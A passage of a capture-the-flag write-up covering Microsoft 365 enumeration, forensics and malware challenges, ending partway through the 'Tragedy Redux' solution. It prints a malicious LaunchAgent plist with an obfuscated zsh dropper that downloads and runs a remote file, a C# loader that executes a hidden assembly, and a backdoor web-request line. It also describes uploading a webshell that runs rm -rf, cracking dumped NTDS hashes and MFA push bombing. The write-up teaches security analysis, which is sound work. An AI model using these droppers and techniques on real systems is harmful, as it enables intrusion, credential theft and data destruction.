policyDetail        : {{"Version":1,"CreatedDateTime":"2023-09-26T15:33:28.0547019Z","ModifiedDateTime":"2023-09-27T15:37:03.5072379Z","St
                      ate":"Enabled","Conditions":{"Applications":{"Include":[{"Applications":["All"]}]},"Users":{"Include":[{"Roles":["9b
                      895d92-2cd3-44c7-9d02-a6ac2d5ea5c3","c4e39bd9-1100-46d3-8c65-fb160da0071f","b0f54661-2d74-4c50-afa3-1ec803f12efe","1
                      58c047a-c907-4556-b7ef-446551a6b5f7","b1be1c3e-b65d-4f19-8427-f6fa0d97feb9","29232cdf-9323-42fd-ade2-1d097af3e4de","
                      62e90394-69f5-4237-9190-012177145e10","729827e3-9c14-49f7-bb1b-9608f156bbb8","966707d0-3269-4727-9be2-8c3a10f19b9d",
                      "7be44c8a-adaf-4e2a-84d6-ab2649e08a13","194ae4cb-b126-40b2-bd5b-6091b380977d","f28a1f50-f6e7-4571-818b-6a12f2af6b6c"
                      ,"fe930be7-5e62-47db-91af-98c3a49a38b1","0526716b-113d-4c15-b2c8-68e3c22b9f80","fdd7a751-b60b-444a-984c-02652fe8fa1c
                      ","4d6ac14f-3453-41d0-bef9-a3e0c569773a","2b745bdf-0803-4d80-aa65-822c4493daac","11648597-926c-4cf3-9c36-bcebb0ba8dc
                      c","e8611ab8-c189-46e8-94e1-60213ab1f814","f023fd81-a637-4b56-95fd-791ac0226033","69091246-20e8-4a56-aa4d-066075b2a7
                      a8"]}],"Exclude":[{"Users":["183037f1-027d-4206-84af-95106f08e16c"]}]}},"Controls":[{"Control":["Mfa"]}],"EnforceAll
                      PoliciesForEas":true,"IncludeOtherLegacyClientTypeForEvaluation":true}}
policyIdentifier    :
tenantDefaultPolicy :

odata.type          : Microsoft.DirectoryServices.Policy
objectType          : Policy
objectId            : 781fecfa-78c7-41b3-9961-fd82132465e3
deletionTimestamp   :
displayName         : Default Policy
keyCredentials      : {}
policyType          : 18
policyDetail        : {{"Version":0,"State":"Disabled"}}
policyIdentifier    : 09/27/2023 15:37:04
tenantDefaultPolicy : 18

And we find the flag at the displayName property.

flag{d02fd5f79caa273ea535a526562fd5f7}

M Three Sixty Five – Teams

Misc

Description

We observed saw some sensitive information being shared over a Microsoft Teams message! Can you track it down?

Solution

To get MS Teams messages, Get-AADIntTeamsMessages is the command to use.

ClientMessageId : 8803098928400015000
Id              : 1695838171758
MessageType     : Text
DisplayName     : FNU LNU
ArrivalTime     : 09/27/2023 18:09:31
DeletionTime    :
Link            : 19:8tLE5Hp0MfXN3KZ3gBdcGMUs3Td78d3i5uk6uSC9rE81@thread.tacv2
Content         : flag{f17cf5c1e2e94ddb62b98af0fbbd46e1}
Type            : Message

ClientMessageId : 8803098928400015000
Id              : 1695838171758
MessageType     : Text
DisplayName     : FNU LNU
ArrivalTime     : 09/27/2023 18:09:31
DeletionTime    :
Link            : 19:8tLE5Hp0MfXN3KZ3gBdcGMUs3Td78d3i5uk6uSC9rE81@thread.tacv2
Content         : flag{f17cf5c1e2e94ddb62b98af0fbbd46e1}
Type            : Message

And we see the flag in the Content property.

flag{f17cf5c1e2e94ddb62b98af0fbbd46e1}

M Three Sixty Five – The President

Misc

Description

One of the users in this environment seems to have unintentionally left some information in their account details. Can you track down The President?

Solution

To get user information, Get-AADIntUsers is the command to use. Just running Get-AADIntUsers will result in a huge list, so let’s print the fields that we are interested in using Get-AADIntUsers | Select UserPrincipalName,Title.

UserPrincipalName                       Title
-----------------                       -----
LeeG@4rhdc6.onmicrosoft.com             Director
AlexW@4rhdc6.onmicrosoft.com            Marketing Assistant
HuntressCTFAdmin@4rhdc6.onmicrosoft.com
HackMe@4rhdc6.onmicrosoft.com
JohannaL@4rhdc6.onmicrosoft.com         Senior Engineer
LynneR@4rhdc6.onmicrosoft.com           Planner
HenriettaM@4rhdc6.onmicrosoft.com       Developer
JoniS@4rhdc6.onmicrosoft.com            Paralegal
AdeleV@4rhdc6.onmicrosoft.com           Retail Manager
DiegoS@4rhdc6.onmicrosoft.com           HR Manager
LidiaH@4rhdc6.onmicrosoft.com           Product Manager
NestorW@4rhdc6.onmicrosoft.com          Director
PattiF@4rhdc6.onmicrosoft.com           President
PradeepG@4rhdc6.onmicrosoft.com         Accountant
GradyA@4rhdc6.onmicrosoft.com           Designer
MeganB@4rhdc6.onmicrosoft.com           Marketing Manager
IsaiahL@4rhdc6.onmicrosoft.com          Sales Rep
MiriamG@4rhdc6.onmicrosoft.com          Director

Now we know that PattiF@4rhdc6.onmicrosoft.com is the president of the company. Let’s print all the user details by running the command Get-AADIntUser -UserPrincipalName "PattiF@4rhdc6.onmicrosoft.com".

AlternateEmailAddresses                :
AlternateMobilePhones                  :
AlternativeSecurityIds                 :
BlockCredential                        : false
City                                   : Louisville
CloudExchangeRecipientDisplayType      : 1073741824
Country                                : United States
Department                             : Executive Management
DirSyncEnabled                         :
DirSyncProvisioningErrors              :
DisplayName                            : Patti Fernandez
Errors                                 :
Fax                                    :
FirstName                              : Patti
ImmutableId                            :
IndirectLicenseErrors                  :
IsBlackberryUser                       : false
IsLicensed                             : true
LastDirSyncTime                        :
LastName                               : Fernandez
LastPasswordChangeTimestamp            : 2023-09-20T20:54:57Z
LicenseAssignmentDetails               : LicenseAssignmentDetails
LicenseReconciliationNeeded            : false
Licenses                               : Licenses
LiveId                                 : 10032002F3B32527
MSExchRecipientTypeDetails             :
MSRtcSipDeploymentLocator              :
MSRtcSipPrimaryUserAddress             :
MobilePhone                            :
OathTokenMetadata                      :
ObjectId                               : d15033b7-6556-4bcd-8ec5-0c3f7ff7e9be
Office                                 : 15/1102
OverallProvisioningStatus              : PendingInput
PasswordNeverExpires                   :
PasswordResetNotRequiredDuringActivate :
PhoneNumber                            : flag{1e674f0dd1434f2bb3fe5d645b0f9cc3}
PortalSettings                         :
PostalCode                             : 40223
PreferredDataLocation                  :
PreferredLanguage                      : en-US
ProxyAddresses                         : ProxyAddresses
ReleaseTrack                           :
ServiceInformation                     : ServiceInformation
SignInName                             : PattiF@4rhdc6.onmicrosoft.com
SoftDeletionTimestamp                  :
State                                  : KY
StreetAddress                          : 9900 Corporate Campus Dr., Suite 3000
StrongAuthenticationMethods            :
StrongAuthenticationPhoneAppDetails    :
StrongAuthenticationProofupTime        :
StrongAuthenticationRequirements       :
StrongAuthenticationUserDetails        :
StrongPasswordRequired                 :
StsRefreshTokensValidFrom              : 2023-09-20T20:54:57Z
Title                                  : President
UsageLocation                          : US
UserLandingPageIdentifierForO365Shell  :
UserPrincipalName                      : PattiF@4rhdc6.onmicrosoft.com
UserThemeIdentifierForO365Shell        :
UserType                               : Member
ValidationStatus                       : Healthy
WhenCreated                            : 2023-09-16T10:24:34Z

And we find the flag in the PhoneNumber property.

flag{1e674f0dd1434f2bb3fe5d645b0f9cc3}


Babel

Misc

Description

It’s babel! Just a bunch of gibberish, right?

Solution

Opening the attached file we get some C# code.

using System; using System.Collections.Generic; using System.Text;using System.IO; using System.Reflection; using System.Linq;
namespace RAKSVwqLMTDsnB { class pcuMyzvAxeBhINN { private static string zcfZIEShfvKnnsZ(string t, string k) {
string bnugMUJGJayaT = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
string WgUWdaUGBFwgN = ""; Dictionary<char, char> OrnBLfjI = new Dictionary<char, char>();
for (int i = 0; i < bnugMUJGJayaT.Length; ++i){ OrnBLfjI.Add(k[i], bnugMUJGJayaT[i]); }
for (int i = 0; i < t.Length; ++i){ if ((t[i] >= 'A' && t[i] <= 'Z') || (t[i] >= 'a' && t[i] <= 'z')) { WgUWdaUGBFwgN += OrnBLfjI[t[i]];}
else { WgUWdaUGBFwgN += t[i]; }} return WgUWdaUGBFwgN; }
static void Main() {
string pTIxJTjYJE = "CvsjeemeeeeXeeee//8eeIxeeeeeeeee <SNIP> dxeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee";
string YKyumnAOcgLjvK = "lQwSYRxgfBHqNucMsVonkpaTiteDhbXzLPyEWImKAdjZFCOvJGrU";
Assembly smlpjtpFegEH = Assembly.Load(Convert.FromBase64String(zcfZIEShfvKnnsZ(pTIxJTjYJE, YKyumnAOcgLjvK)));
MethodInfo nxLTRAWINyst = smlpjtpFegEH.EntryPoint;
nxLTRAWINyst.Invoke(smlpjtpFegEH.CreateInstance(nxLTRAWINyst.Name), null);
}}}

The code decodes the next stage payload stored in pTIxJTjYJE, loads the resulting assembly and invokes the payload. Since we want the next stage payload, we can modify the Main method a bit to dump the decoded base64 payload. To do this we can use .NET Fiddle.

static void Main() {
    string pTIxJTjYJE = "CvsjeemeeeeXeeee//8eeIxeeeeeeeee <SNIP> dxeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee";
    string YKyumnAOcgLjvK = "lQwSYRxgfBHqNucMsVonkpaTiteDhbXzLPyEWImKAdjZFCOvJGrU";
    var data = zcfZIEShfvKnnsZ(pTIxJTjYJE, YKyumnAOcgLjvK);
    Console.WriteLine(data);
}

After running the code, the base64 encoded payload is printed to the console. Decoding and saving the the PE file, we can extract the flag by running the command strings download.exe | grep flag

flag{b6cfb6656ea0ac92849a06ead582456c}

Press Play On Tape

Misc

Description

While walking home through a dark alley you find an archaic 1980s cassette tape. It has “PRESS PLAY ON TAPE” written on the label. You take it home and play it on your old tape deck. It sounds awful. The noise made you throw your headphones to the floor immedately. You snagged a recording of it for analysis.

Solution

So we got an audiofile recorded from an old casette tape. As the challenge name hints, this has to be a C64 tape. Using a tool like c64tapedecode we can convert the WAV to TAP format. c64tapedecode also contains a decoder we can use to extract the data from a TAP file.

Running the command wav2tap pressplayontape.wav | c64tapedecode -T -v converts the WAV and extracts one program from the tape.

 ___________________
|                  ||
|  C=64 Datasette  ||
|   (_)[__(_](_)   ||
|                  ||
|   ------------   ||
|__/._o__^__o_.\\__||

found " "                (BASIC) at 0x0801 - 0x083b (58 bytes)
.
0 errors found

Now we got a program file extracted, running strings \ .p00 will return the flag.

C64File

 "FLAG[32564872D760263D52929CE58CC40071]"   

flag{32564872d760263d52929ce58cc40071}


Indirect Payload

Misc

Description

We saw this odd technique in a previous malware sample, where it would uncover it’s next payload by… well, you’ll see.

Solution

Entering the challenge page, all we get is a large button.

Clicking the button shows a message.

After a while, we get an error telling us that there are a problem with redirects.

If we try to follow the redirect using curl, by running the command curl -L http://chal.ctf.games:30706/site/flag.php, we end up at the page /site/sorry.php.

Checking the output, we can see that not all responses look the same. Some responses has Content-Length: 33.

Taking a closer look at one of the responses by running curl -vv http://chal.ctf.games:30706/site/6ee08d009a68b8dcd6cda9a83d2d1460.php, we can see the response body.

curl -vv http://chal.ctf.games:30706/site/6ee08d009a68b8dcd6cda9a83d2d1460.php
*   Trying 34.123.197.237:30706...
* Connected to chal.ctf.games (34.123.197.237) port 30706 (#0)
> GET /site/6ee08d009a68b8dcd6cda9a83d2d1460.php HTTP/1.1
> Host: chal.ctf.games:30706
> User-Agent: curl/7.81.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 302 Found
< Date: Wed, 18 Oct 2023 15:48:54 GMT
< Server: Apache/2.4.38 (Debian)
< Location: /site/d8af732171142bfa1a24c547cb82a177.php
< Content-Length: 33
< Content-Type: text/html; charset=UTF-8
<
character 14 of the payload is e
* Connection #0 to host chal.ctf.games left intact

So it seems that the flag is broken up, character by character, and sent in some of the responses. The following script will automate the process of getting each url and collecting each flag character.

#!/usr/bin/env python3

import sys
import requests


if __name__ == '__main__':
    if len(sys.argv) != 2:
        print(f'Usage: {sys.argv[0]} <port>')
        sys.exit(1)

    URL = 'http://chal.ctf.games'
    PORT = sys.argv[1]

    print(f'[*] Connecting to {URL}:{PORT}')
    s = requests.Session()
    r = s.get(f'{URL}:{PORT}/site/flag.php', allow_redirects=False)

    flag = ''

    while r.status_code == 302:
        print(f'[*] Redirected to {r.headers["Location"]}')

        if r.text.startswith('character'):
            value = r.text.strip()[-1:]
            print(f'[*] Found character: {value}')
            flag += value

        r = s.get(
            f'{URL}:{PORT}{r.headers["Location"]}', allow_redirects=False)

    print(f'[+] Flag: {flag[:-1]}')

After running the script, we get the flag.

flag{448c05ab3e3a7d68e3509eb85e87206f}


Operation Eradication

Misc

Description

Oh no! A ransomware operator encrypted an environment, and exfiltrated data that they will soon use for blackmail and extortion if they don’t receive payment! They stole our data!

Luckily, we found what looks like a configuration file, that seems to have credentials to the actor’s storage server… but it doesn’t seem to work. Can you get onto their server and delete all the data they stole!?

Solution

Entering the challenge page, we get the following message.

So we have to find a way to delete the data on the server, let’s take a look at the attached file.

type = webdav
url = http://localhost/webdav
vendor = other
user = VAHycYhK2aw9TNFGSpMf1b_2ZNnZuANcI8-26awGLYkwRzJwP_buNsZ1eQwRkmjQmVzxMe5r
pass = HOUg3Z2KV2xlQpUfj6CYLLqCspvexpRXU9v8EGBFHq543ySEoZE9YSdH7t8je5rWfBIIMS-5

Here we have some configuration for a WebDAV client, a bit of research reveals that the configuration is ro rclone.

Using the credentials and Rclone Browser, we can connect to the WebDAV server.

Trying to delete any file only result in a 403, so we have to find another way of removing the files. If we try to upload a file, we see that we are able to do so.

Taking a look at the challenge page, we can identify that it is using PHP. Let’s try to upload some PHP code and see if we can execute it. First, we create a simple test file containing <? echo "Hello"; ?> and then upload it to the WebDAV server.

Now we have to access it from the web server, requesting hxxp://chal.ctf.games:30681/webdav/1/test.php will result in the server asking us for the username and password. So we have to recover the original password from the config.

Using a tool like rclonedeobscure, we can recover the original password.

python3 rclonedeobscure.py -d HOUg3Z2KV2xlQpUfj6CYLLqCspvexpRXU9v8EGBFHq543ySEoZE9YSdH7t8je5rWfBIIMS-5
[+] obscured password    : HOUg3Z2KV2xlQpUfj6CYLLqCspvexpRXU9v8EGBFHq543ySEoZE9YSdH7t8je5rWfBIIMS-5
[+] deobscured password    : SuperExtremelySecurePasswordLikeAlways

Connecting to hxxp://chal.ctf.games:30681/webdav/1/test.php, using the username from the config and the deobscured password, we are able to execute our code.

Now we can upload a webshell to the server and execute rm -rf ../ to remove all the files.

After deleting all the files, we get the following message on the challenge site.

flag{564607375b731174f2c08c5bf16e82b4}


Welcome To The Park

Misc

Description

The creator of Jurassic Park is in hiding… amongst Mach-O files, apparently. Can you find him?

Solution

Running the command strings .hidden/welcomeToThePark will reveal some PropertyList data.

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"><plist version="1.0"><dict><key>Label</key><string>com.huntress.ctf</string><key>ProgramArguments</key><array><string>/bin/zsh</string><string>-c</string><string>A0b='tmp="$(m';A0bERheZ='ktemp /tmp/XX';A0bERheZX='XXXXXX)"';A0bER='; curl --';A0bE='retry 5 -f ';A0bERh='"https://';A0bERheZXDRi='gist.githu';xbER='b.com/s';juuQ='tuartjas';juuQQ7l7X5='h/a7d18';juuQQ7l7X5yX='7c44f4327';juuQQ7l7X5y='739b752d037be45f01';juuQQ7='" -o "${tmp}"; i';juuQQ7l7='f [[ -s "${tmp}';juuQQ7l7X='" ]];';juQQ7l7X5y=' then chm';juQQ7l='od 777 "${tmp}"; ';zRO3OUtcXt='"${tmp}"';zRO3OUt='; fi; rm';zRO3OUtcXteB=' "${tmp}"';echo -e ${A0b}${A0bERheZ}${A0bERheZX}${A0bER}${A0bE}${A0bERh}${A0bERheZXDRi}${xbER}${juuQ}${juuQQ7l7X5}${juuQQ7l7X5yX}${juuQQ7l7X5y}${juuQQ7}${juuQQ7l7}${juuQQ7l7X}${juQQ7l7X5y}${juQQ7l}${zRO3OUtcXt}${zRO3OUt}${zRO3OUtcXteB} | /bin/zsh</string></array><key>RunAtLoad</key><true /><key>StartInterval</key><integer>14400</integer></dict></plist>

Deobfuscating the shell command, we get the following command.

tmp="$(mktemp /tmp/XXXXXXXX)"; curl --retry 5 -f "https://gist.github.com/stuartjash/a7d187c44f4327739b752d037be45f01" -o "${tmp}"; if [[ -s "${tmp}" ]]; then chmod 777 "${tmp}"; "${tmp}"; fi; rm "${tmp}"

Checking out the gist, we get an image of John Hammond from Jurassic Park.

Saving the image and running the command strings JohnHammond.jpg, reveals the flag.

flag{680b736565c76941a364775f06383466}


Discord Snowflake Scramble

Misc

Description

Someone sent message on a Discord server which contains a flag! They did mention something about being able to embed a list of online users on their own website…

Can you figure out how to join that Discord server and see the message?

Note: Discord phone verification is NOT required for this challenge.

Connect here: https://discord.com/channels/1156647699362361364/1156648139516817519/1156648284237074552

Solution

Here we got a Discord link that doesn’t work. Using a tool like Snowflake Decoder, we can get more information on the different parts of the Discord link.

Checking the first part, 1156647699362361364, and use it to look up a guild, we find the server BABYSHARK with an invite link.

Using this link, we can connect to the server and see the text channels.

Checking out the #flag channel, we can find the flag as a message.

flag{bb1dcf163212c54317daa7d1d5d0ce35}

MFAtigue

Misc

Description

We got our hands on an NTDS file, and we might be able to break into the Azure Admin account! Can you track it down and try to log in? They might have MFA set up though…

Solution

Attached to the challenge is a ntds.dit and a SYSTEM file, and our goal is to break in to an Azure Admin account. So, by only having access to those files, we should be able to dump some hashes.

To work with the files, we can use the Powershell module DSInternals.

To be able to extract the password hashes, we need to extract the boot key from the SYSTEM file. This is done by running Get-BootKey .\SYSTEM, which returns the bootkey f08b286576ad88218db21b35b32c8781.

Now we have all information to extract the hashes from the NTDS file. To extract all hashes to a format we can use with John the Ripper, we run the command Get-ADDBAccount -All -DBPath '.\ntds.dit' -BootKey f08b286576ad88218db21b35b32c8781 | Format-Custom -View JohnNT.

This will produce the following list of hashes.

Administrator:$NT$53ffcddea58170b42267fa689f0fa119
Guest:$NT$
krbtgt:$NT$948e12fcf27797f773c901c7e1b069d8
PAMELA_MCCARTHY:$NT$98574cb0badfc5d11094dd239af97da2
MATHEW_BERG:$NT$c7e3f4aa78cb46c0b47e61809cef8ca8
ETHAN_WELCH:$NT$151cb8e8e6b942bb0495e88c02365c19
RILEY_LANGLEY:$NT$565911c8b1e206319277f50207377fb1
PASQUALE_CHRISTIAN:$NT$7a2c60c628bda5d963a5934ec733f85f
HELENA_HESS:$NT$feb58b0c807bc1ef3adc390dabc1f6ac
SALLIE_BALLARD:$NT$e7c417bd62f442b1ee53bf70c8d656ef
LOU_NAVARRO:$NT$189b758028dc7ea177e26b990f09aad0
EDGARDO_DOWNS:$NT$38170f23f241863a09d07b2f438fe35a
GENE_SAWYER:$NT$3f8aa43a8714b6cba6438ab8e2890576
JILLIAN_DOTSON:$NT$08e75cc7ee80ff06f77c3e54cadab42a
EILEEN_NGUYEN:$NT$a03d6125a5d27301c10657d20bcb11f0
8385424457SA:$NT$a41edb7e4b7e68bb594d42de289ef4e2
BERTIE_PRINCE:$NT$eb0694cb60d647825ebc6420e0b4f4d4
KIRK_BARKER:$NT$04f60aa2def14e3a0703480d46a74b5c
PHOEBE_LEWIS:$NT$9bc8530fb646ed162646f50dab5ca44a
LILY_DUNLAP:$NT$ab69b9f2f7db11b28dde05ef92961335
WIN-UUTKPJ98ERD$:$NT$ef38fd14274db386b7b5bbddcb37f953
SECWWEBS1000000$:$NT$ced0af30b76eb4ef16f60ffd2a4bef4b
ITSWWKS1000000$:$NT$3c288662a096dbb9c2885f01f2617ae5
AZRWAPPS1000000$:$NT$a4ff2fdebe09928a19d7e2131e9d61f7
SECWDBAS1000000$:$NT$e0dc7756fdd7bf48c7b481ce944556f5
ITSWAPPS1000000$:$NT$ce67921be04ba6299ff9807dd3eaca93
TSTWAPPS1000000$:$NT$d8ceea661357f645244aacd3c93a799a
TSTWAPPS1000001$:$NT$1193ebf37b7b9a348cf2ec2214d4cf0e
FINWLPT1000000$:$NT$d0d011de0eca962c7a1f762200c99147
HREWLPT1000000$:$NT$b10ec52cb17993490dfe08eee07aa2f4
FINWLPT1000001$:$NT$cb53433396d6f25ac3af16a88494f94a
FINWVIR1000000$:$NT$4392779c3bbd677797cfecd29a56f121
ITSWAPPS1000001$:$NT$f6a6bc5b999c6895e2cfc5ec77267b96
FINWWEBS1000000$:$NT$ec2df0391596499ea1b9fa30d6dd929e
AWSWLPT1000000$:$NT$bac18307bf42034b0948f58926379103
FINWCTRX1000000$:$NT$ae20d4fe0a5d444e5e7df36e75f56fb8
ITSWAPPS1000002$:$NT$f92161ce7533e49ccaebe41e5ae7c172
HREWLPT1000001$:$NT$f5259fa28c59b8c35df61cfb96f8d079
HREWVIR1000000$:$NT$33d7acb44600a2e3dce2d08dc57f4946
TSTWDBAS1000000$:$NT$2170431c0e0690b6d21c2defabcbcf6a
SECWAPPS1000000$:$NT$61f44ec9c31e065b7896ffd5a5a6878c
FINWAPPS1000000$:$NT$1243fdd297a490e96e476bea71c074ac
FINWVIR1000001$:$NT$3a17fcdfa69018580b0abfd9f7882aaf
AWSWDBAS1000000$:$NT$33956700478136fc868b9a4ccee628ef
AWSWSECS1000000$:$NT$84e03b60f3f6d9a543e0d79c0967f42d
HREWAPPS1000000$:$NT$ace6a700c38ba2abb7298a0cc48db097
FINWVIR1000002$:$NT$f78457a85e36946680ca97694b470bf8
AZRWSECS1000000$:$NT$db71218d19c3161ca5a7cd03add9f8cf
AWSWVIR1000000$:$NT$10dc52895aa6f5d6ed491a18b8b64907
ITSWWKS1000001$:$NT$acd51fe2dab7467ba83e5203afb4079b

If we run john with these hashes as input, we quickly get the password for one of the accounts, JILLIAN_DOTSON, which is katlyn99. Using these credentials, we can log in to the Azure account.

After logging in, we get a new promt where we can send push notifications to approve the login.

All we have to do now is to click the button until we finally get approved.

flag{9b896a677de35d7dfa715a05c25ef89e}


Traffic

Forensics

Description

We saw some communication to a sketchy site… here’s an export of the network traffic. Can you track it down?

Some tools like rita or zeek might help dig through all of this data!

Solution

Unpacking the attached file, we get a bunch of logs. There’s a bunch of logs containing URLs, for example, the dns., http., and ssl.* files.

Extracting the URL columns in the ssl.* files by running zcat ssl.* | cut -d$'\t' -f 10 | uniq returns all the URLs, and at the bottom there is an interesting URL.

<snip>
nih.gov
www.nih.gov
cdn.jsdelivr.net
code.jquery.com
fonts.googleapis.com
www.nih.gov
fonts.gstatic.com
script.crazyegg.com
search.usa.gov
www.youtube.com
script.crazyegg.com
stats.g.doubleclick.net
search.usa.gov
chrome.cloudflare-dns.com
clientservices.googleapis.com
accounts.google.com
munchkin.brightfunnel.com
api.brightfunnel.com
chrome.cloudflare-dns.com
browser.events.data.msn.com
sketchysite.github.io

Checking out the site sketchysite.github.io returns the flag.

flag{8626fe7dcd8d412a80d0b3f0e36afd4a}


Backdoored Splunk

Forensics

Description

You’ve probably seen Splunk being used for good, but have you seen it used for evil?

Solution

After unpacking the challenge file, we get Splunk addon for Windows.

-rw-r--r-- 1  1833 may 10 15:27 app.manifest
drwx------ 3  4096 sep 19 19:10 appserver
drwx------ 3  4096 sep 19 19:10 bin
drwx------ 2  4096 sep 19 19:10 default
drwx------ 2  4096 sep 19 19:10 LICENSES
drwx------ 2  4096 sep 19 19:10 lookups
drwx------ 2  4096 sep 19 19:10 metadata
drwx------ 2  4096 sep 19 19:10 README
-rw-r--r-- 1   170 may 10 15:27 README.txt
-rw-r--r-- 1 11785 may 10 15:27 splunkbase.manifest
drwx------ 2  4096 sep 19 19:10 static
-rw-r--r-- 1  1936 may 10 15:27 THIRDPARTY
-rw-r--r-- 1    11 may 10 15:27 VERSION

Since this is a backdoored Splunk version, we should try to find which files were modified. By lookin at the file listing, we see that all files and directories in the root are created on or before september 19th, 2023.

Running the command find . -type f -newermt 2023-09-20 will list all files modified after september 19th. The only file in the output is /bin/powershell/nt6-health.ps1, so that seems to be the backdoored file.

Taking a look at the code in nt6-health.ps1, the following suspicious code is found.

$OS = @($html = (Invoke-WebRequest http://chal.ctf.games:$PORT -Headers @{Authorization=("Basic YmFja2Rvb3I6dXNlX3RoaXNfdG9fYXV0aGVudGljYXRlX3dpdGhfdGhlX2RlcGxveWVkX2h0dHBfc2VydmVyCg==")} -UseBasicParsing).Content

Connecting to our challenge instance with the credentials returns a base64 encoded HTML comment.

curl http://chal.ctf.games:31106/ -H "Authorization: Basic YmFja2Rvb3I6dXNlX3RoaXNfdG9fYXV0aGVudGljYXRlX3dpdGhfdGhlX2RlcGxveWVkX2h0dHBfc2VydmVyCg==" -vv

*   Trying 34.123.197.237:31106...
* Connected to chal.ctf.games (34.123.197.237) port 31106 (#0)
> GET / HTTP/1.1
> Host: chal.ctf.games:31106
> User-Agent: curl/7.81.0
> Accept: */*
> Authorization: Basic YmFja2Rvb3I6dXNlX3RoaXNfdG9fYXV0aGVudGljYXRlX3dpdGhfdGhlX2RlcGxveWVkX2h0dHBfc2VydmVyCg==
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Content-Type: text/html; charset=utf-8
< Content-Length: 69
<
* Connection #0 to host chal.ctf.games left intact
<!-- ZWNobyBmbGFnezYwYmIzYmZhZjcwM2UwZmEzNjczMGFiNzBlMTE1YmQ3fQ== -->

Decoding the base64 string, we get the flag.

echo flag{60bb3bfaf703e0fa36730ab70e115bd7}


Dumpster Fire

Forensics

Description

We found all this data in the dumpster! Can you find anything interesting in here, like any cool passwords or anything? Check it out quick before the foxes get to it!

Solution

Unpacking the attached dumpsterfire_tar.xz file, we get a copy of a linux file system. Taking a look in the /home directory there’s a user directory for the user challenge, this seems to be a good place to look. Inside the user’s directory, we find a Firefox profile in .mozilla/firefox/bc1m1zlr.default-release, and according to the description, we want to find passwords.

Using firepwd in the Firefox profile directory we can decrypt the saved passwords.

globalSalt: b'237366f42ee4865cb4fa8c6dedd52aad8a06d347'
 SEQUENCE {
   SEQUENCE {
     OBJECTIDENTIFIER 1.2.840.113549.1.5.13 pkcs5 pbes2
     SEQUENCE {
       SEQUENCE {
         OBJECTIDENTIFIER 1.2.840.113549.1.5.12 pkcs5 PBKDF2
         SEQUENCE {
           OCTETSTRING b'41e46e3be88af7938209072b83dbae9d7cd72e9879a4b24f2af9106ecad57e42'
           INTEGER b'01'
           INTEGER b'20'
           SEQUENCE {
             OBJECTIDENTIFIER 1.2.840.113549.2.9 hmacWithSHA256
           }
         }
       }
       SEQUENCE {
         OBJECTIDENTIFIER 2.16.840.1.101.3.4.1.42 aes256-CBC
         OCTETSTRING b'c448c9b84e50616687908f1cd025'
       }
     }
   }
   OCTETSTRING b'03d325071c986d531e958b3739e776d1'
 }
clearText b'70617373776f72642d636865636b0202'
password check? True
 SEQUENCE {
   SEQUENCE {
     OBJECTIDENTIFIER 1.2.840.113549.1.5.13 pkcs5 pbes2
     SEQUENCE {
       SEQUENCE {
         OBJECTIDENTIFIER 1.2.840.113549.1.5.12 pkcs5 PBKDF2
         SEQUENCE {
           OCTETSTRING b'30879ad30aac17c31dbba183c911e5ff628574270a207892f5ae1d118a38d0b6'
           INTEGER b'01'
           INTEGER b'20'
           SEQUENCE {
             OBJECTIDENTIFIER 1.2.840.113549.2.9 hmacWithSHA256
           }
         }
       }
       SEQUENCE {
         OBJECTIDENTIFIER 2.16.840.1.101.3.4.1.42 aes256-CBC
         OCTETSTRING b'63ac9bb8ac454c439885f95743a9'
       }
     }
   }
   OCTETSTRING b'e1f24c1b25c14fee5c008d58bc77d4ca7f8c720f8b2069352fcb153d1da1f9ee'
 }
clearText b'6d515b15e949fe85511680e634a25eab8f19ceba3254a4e60808080808080808'
decrypting login/password pairs
http://localhost:31337:b'flag',b'flag{35446041dc161cf5c9c325a3d28af3e3}'

As we can see, the flag was the password for the site hxxp://localhost:31337.

flag{35446041dc161cf5c9c325a3d28af3e3}


Wimble

Forensics

Description

“Gretchen, stop trying to make fetch happen! It’s not going to happen!” – Regina George, Mean Girls

Solution

Let’s start by finding out what file type we are working with, running file fetch will tell us that we got a WIM image.

fetch: Windows imaging (WIM) image v1.13, XPRESS compressed, reparse point fixup

Unpacking the file, we get a lot of Windows prefetch files. To be able to extract information from the prefetch files, we need to use a tool like PECmd.

Running pecmd -d fetch --csv ., will process all the prefetch files and save all extracted information in a CSV file. Checking the CSV file, we can find the flag in the information for the Wordpad prefetch file.

FLAG{97F33C9783C21DF85D79D613B0B258BD}


Opposable Thumbs

Forensics

Description

We uncovered a database. Perhaps the flag is right between your fingertips!

Solution

The attached challenge file is a Windows Thumbnail Cache file. Using a tool like Thumbcache Viewer we can view the contents of the cache.

Extracting the stored thumbnails, we can view the images, and one image contains the flag.

flag{human_after_all}


Tragedy Redux

Forensics

Description

We found this file as part of an attack chain that seemed to manipulate file contents to stage a payload. Can you make any sense of it?

Solution

Running file tragedy_redux tells us that the file is a Zip file.

tragedy_redux: Zip archive data, made by v4.5, extract using at least v2.0, last modified Mon Jan 26 00:44:48 1970, uncompressed size 1453, method=deflate

But trying to unzip the file, we get errors.

Extracting archive: tragedy_redux
--
Path = tragedy_redux
Type = zip
Physical Size = 24518

ERROR: Headers Error : [Content_Types].xml

Sub items Errors: 1

Archives with Errors: 1

Sub items Errors: 1

Checking the file in an hex editor, we can see that the file header is broken.

Fixing the header by replacing the first eight bytes with a valid Zip header (50 4B 03 04 00 00 00 00) fixes the file. Running the file command again tells us that the file is a MS Word file.

Using olevba to extract macros, we get some obfuscated VB macro.

olevba 0.60.1 on Python 3.10.12 - http://decalage.info/python/oletools
===============================================================================
FILE: tragedy_redux
Type: OpenXML
WARNING  For now, VBA stomping cannot be detected for files in memory
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: word/vbaProject.bin - OLE stream: 'VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
